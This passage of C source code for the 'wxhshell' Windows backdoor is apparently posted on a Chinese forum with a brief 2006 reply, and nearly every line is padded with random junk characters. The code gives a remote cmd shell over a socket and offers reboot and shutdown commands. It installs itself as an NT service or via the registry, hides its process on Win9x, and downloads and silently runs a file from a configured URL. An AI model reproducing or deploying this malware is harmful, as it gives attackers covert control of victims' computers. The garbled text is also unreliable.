    switch(cmd[0]) { zY_J7,0g  
  *O~y6|U?  
  // 帮助 ` 5Kg[nB:  
  case '?': { s;OGb{H7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L?d?O  
    break; rz%~=Ca2j  
  } :C} I6v=  
  // 安装 lK=Is v+  
  case 'i': { j*?8w(!  
    if(Install()) Jq &Hz$L|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Zn6T"[$  
    else H%vfRl3rB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); //2O#Fg{/  
    break; ?pW1}: z  
    } ; um)JCXz  
  // 卸载  O>]i?  
  case 'r': { BJux5Nh  
    if(Uninstall()) r{R<J?Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hq W /  
    else .t1:;H b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w{*kbGB8s7  
    break; >fXtu:C-!J  
    } qKfUm:7Q_  
  // 显示 wxhshell 所在路径 eavn.I8J  
  case 'p': { Ra|P5  
    char svExeFile[MAX_PATH]; qhGz2<}_j  
    strcpy(svExeFile,"\n\r"); _HHvL=  
      strcat(svExeFile,ExeFile); #kM|!U=  
        send(wsh,svExeFile,strlen(svExeFile),0); 6T$=(I <4  
    break; , yltt+ e  
    } AyO%,6p[  
  // 重启 f-|?He4O]  
  case 'b': { KBB)xez8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e^O:I  
    if(Boot(REBOOT)) F;ttqL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r&4Xf# QD6  
    else { =;0-t\w!  
    closesocket(wsh); 'r]6 GC8Z$  
    ExitThread(0); Z8$BgP  
    } R BHDfm'~7  
    break; P! +Gwm{  
    } z;1dMQ,#  
  // 关机 ]!{S2x&"  
  case 'd': { ]M*`Y[5"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I:TbZ*vi~  
    if(Boot(SHUTDOWN)) u @Ze@N%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S=r0tao,!v  
    else { Tx PFl7,r  
    closesocket(wsh); &RZO\ZT  
    ExitThread(0); ; R+>}6  
    } T-a>k.}y  
    break; GfELL `yz  
    } Sxq@W8W  
  // 获取shell ck{S  
  case 's': { }?,?2U,8:  
    CmdShell(wsh); Q^f{H.  
    closesocket(wsh); ^5E9p@d"J  
    ExitThread(0); N4+Cg t(  
    break; IrL%0&*hS  
  } ~6i'V?>  
  // 退出 g9" wX?*  
  case 'x': { F9o7=5WAb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xb%Q%"?~  
    CloseIt(wsh); vWoppt  
    break; /*y5W-'d^  
    } Q[#}Oh6$  
  // 离开 ?0t^7HMP  
  case 'q': { ({j8|{)+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rgVRF44X{  
    closesocket(wsh); P$U" y/  
    WSACleanup(); H\Qk U`b  
    exit(1); W\zZ&*8$  
    break; /Ot3[B  
        } @G2# Z  
  } zE/l  
  } r"2lcNE  
X=#us7W}  
  // 提示信息 _ACN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [o<hQ`&  
} v>wN O  
  } q|<B9Jk  
R#hy2kA  
  return; kC.!cPd  
} u$R5Q{H_  
m*]`/:/X[  
// shell模块句柄 i=#`7pt%'a  
int CmdShell(SOCKET sock) $b|LZE\bU.  
{ + kMj|()>\  
STARTUPINFO si; :u,.(INB  
ZeroMemory(&si,sizeof(si)); C}) Dvh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vq+7 /+2"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R)66qRf  
PROCESS_INFORMATION ProcessInfo; ^Ye(b7Gd  
char cmdline[]="cmd"; d/9YtG%q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m&gd<rt/  
  return 0; 3l<qcKKc  
} ~QbHp|g  
P_5aHeiJ  
// 自身启动模式 qhY+<S9  
int StartFromService(void) wL8j i>"  
{ K2Abu?  
typedef struct /7D5I\  
{ INr1bAe$  
  DWORD ExitStatus; teS>t!d  
  DWORD PebBaseAddress; "/6#Z>y  
  DWORD AffinityMask; 1k6asz^T  
  DWORD BasePriority; 5Qq/nUR  
  ULONG UniqueProcessId; {C 5:as  
  ULONG InheritedFromUniqueProcessId; eP]y\S*P  
}   PROCESS_BASIC_INFORMATION; #1haq[Uv7  
/iO"4%v  
PROCNTQSIP NtQueryInformationProcess; o5s6$\"  
our ^J8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yDqwz[v b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Acw`ytV  
u9@B&  
  HANDLE             hProcess; {*O%A  
  PROCESS_BASIC_INFORMATION pbi; g,\kLTg  
-]0:FKW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CBd%}il  
  if(NULL == hInst ) return 0; bBs{PI2(p1  
<CVX[R]U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nx.9)MjI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nl YFS?5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "yw{A%J  
 <)TIj6  
  if (!NtQueryInformationProcess) return 0; qkhre3  
{'4#{zmp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eWDXV-xD  
  if(!hProcess) return 0; @}4>:\es  
:o^ioX.J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X&zGgP/  
+zMhA p  
  CloseHandle(hProcess); :<P4=P P  
GPHb-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + -Rf@  
if(hProcess==NULL) return 0; i[KXkjr  
Fl.?*KBz  
HMODULE hMod; V| Fo@  
char procName[255]; @]n8*n  
unsigned long cbNeeded; q.=Q  
H7+z"^s*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "~ID.G|<  
:'bZ:J>f  
  CloseHandle(hProcess); /}@F q  
}BM`4/  
if(strstr(procName,"services")) return 1; // 以服务启动 VvW4!1Dl  
\YzKEYx+  
  return 0; // 注册表启动 : 2%eh  
} HjK8y@j  
(5jKUQ8Q>  
// 主模块 5b"=m9{g  
int StartWxhshell(LPSTR lpCmdLine) FL\pgbI  
{ ^rfR<Q`  
  SOCKET wsl; UUfM 7gq  
BOOL val=TRUE; 1SjVj9{:  
  int port=0; q,ie)`  
  struct sockaddr_in door; y?UJ <QAi  
TI3xt-/  
  if(wscfg.ws_autoins) Install(); 3q4Zwv0z20  
P-ZvW<M  
port=atoi(lpCmdLine); XcoX8R%U  
9!=4}:+  
if(port<=0) port=wscfg.ws_port; p|->z  
6kp)'wz`  
  WSADATA data; `>\ ~y1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +>C26Q  
Y[L,rc/j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sP^:*B0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jy:*GW6  
  door.sin_family = AF_INET; ?M'CTz}<\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "*#f^/LS  
  door.sin_port = htons(port); -I{op wd  
w aniCE o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gWHY7rv  
closesocket(wsl); qGag{E5!  
return 1; Byw EoS  
} vfqXHc unj  
$DH/  
  if(listen(wsl,2) == INVALID_SOCKET) { VJ-t #q"  
closesocket(wsl); H 2I  
return 1; ^e^-1s  S  
} [cDDZ+6  
  Wxhshell(wsl); 5(#z)T  
  WSACleanup(); @{qcu\sZ  
Fb<'L5}i  
return 0; ^kK")+K  
S".|j$  
} 4;~xRg;u&*  
M#2<|VUW,  
// 以NT服务方式启动 Tg O]q4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o]p$ w[5  
{ Ow?~+) 4  
DWORD   status = 0; EIzTbW{p  
  DWORD   specificError = 0xfffffff; e?(4lD)d  
O~8jz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wp = ]YO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Yw=@*CK'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o&q:b9T  
  serviceStatus.dwWin32ExitCode     = 0; MA tF,  
  serviceStatus.dwServiceSpecificExitCode = 0; wIRU!lIF9  
  serviceStatus.dwCheckPoint       = 0; YH^U "\}i  
  serviceStatus.dwWaitHint       = 0; ^Mm%`B7W  
_Rj bm'kC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9ox5,7ZQ  
  if (hServiceStatusHandle==0) return; S9:ij1  
y46sL~HRv  
status = GetLastError(); " ?aE3$/  
  if (status!=NO_ERROR) te;bn4~  
{ clqFV   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q) 5s'(  
    serviceStatus.dwCheckPoint       = 0; S8;c0}-  
    serviceStatus.dwWaitHint       = 0; qtVgjT2#H  
    serviceStatus.dwWin32ExitCode     = status; 2|!jst  
    serviceStatus.dwServiceSpecificExitCode = specificError; -;Mh|!yg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W"/,<xHuh  
    return; #lFsgb  
  }  1^hG}#6_  
D'g@B.fXd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?jO<<@*2S  
  serviceStatus.dwCheckPoint       = 0; c;b<z|}z  
  serviceStatus.dwWaitHint       = 0; f~?5;f:E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yc[vH=gV}  
} p&(z'd  
f 4K)Z e  
// 处理NT服务事件,比如:启动、停止 +tkm,>s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #?M[Q:  
{ I7XM2xM  
switch(fdwControl) Y]&2E/oc  
{ A\/DAVnI  
case SERVICE_CONTROL_STOP: Or/YEt}  
  serviceStatus.dwWin32ExitCode = 0; )q!dMZ(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r^s$U,e#~  
  serviceStatus.dwCheckPoint   = 0;  iU{\a,  
  serviceStatus.dwWaitHint     = 0; j bOwpyH  
  { V:D?i#%,z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,!AYeVq  
  } KdlUa^}D  
  return; V+' zuX  
case SERVICE_CONTROL_PAUSE: !Y^B{bh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bneP>Bd  
  break; L eUp!  
case SERVICE_CONTROL_CONTINUE: q2Gm8>F1y.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >0N$R|B&  
  break; L!5="s[}  
case SERVICE_CONTROL_INTERROGATE: F ww S[ 3  
  break; J=t}N+:F`b  
}; hsws7sH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *bcemH8f  
} [A uA<  
>4lA+1JYk  
// 标准应用程序主函数 (ia+N/$u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sZa>+  
{ r_^]5C\  
l>Zp#+I-  
// 获取操作系统版本 @MH/e fW.  
OsIsNt=GetOsVer(); XX1Iw {o9:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;M#D*<ucI:  
noWwX  
  // 从命令行安装 gU@.IOg  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~:="o/wo  
>tkU+$;-  
  // 下载执行文件 a,t]>z95  
if(wscfg.ws_downexe) { t(^Lh.<a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7B gA+Fz  
  WinExec(wscfg.ws_filenam,SW_HIDE); QUdF`_U7  
} :n}t7+(>U  
UD'e%IVw  
if(!OsIsNt) { f,+ONV]5Tt  
// 如果时win9x,隐藏进程并且设置为注册表启动 +P*,i$MV  
HideProc(); oM}P Wf-  
StartWxhshell(lpCmdLine); / vzwokH  
} rYyEs I#qo  
else g3w-Le&T  
  if(StartFromService()) s\ ]Rgi>w  
  // 以服务方式启动 SP|Dz,o  
  StartServiceCtrlDispatcher(DispatchTable); V+y:!t`  
else }?d l.=eq  
  // 普通方式启动 wGpw+O  
  StartWxhshell(lpCmdLine); y?s#pSX;N  
wdgC{W Gl  
return 0; f;W>:`'  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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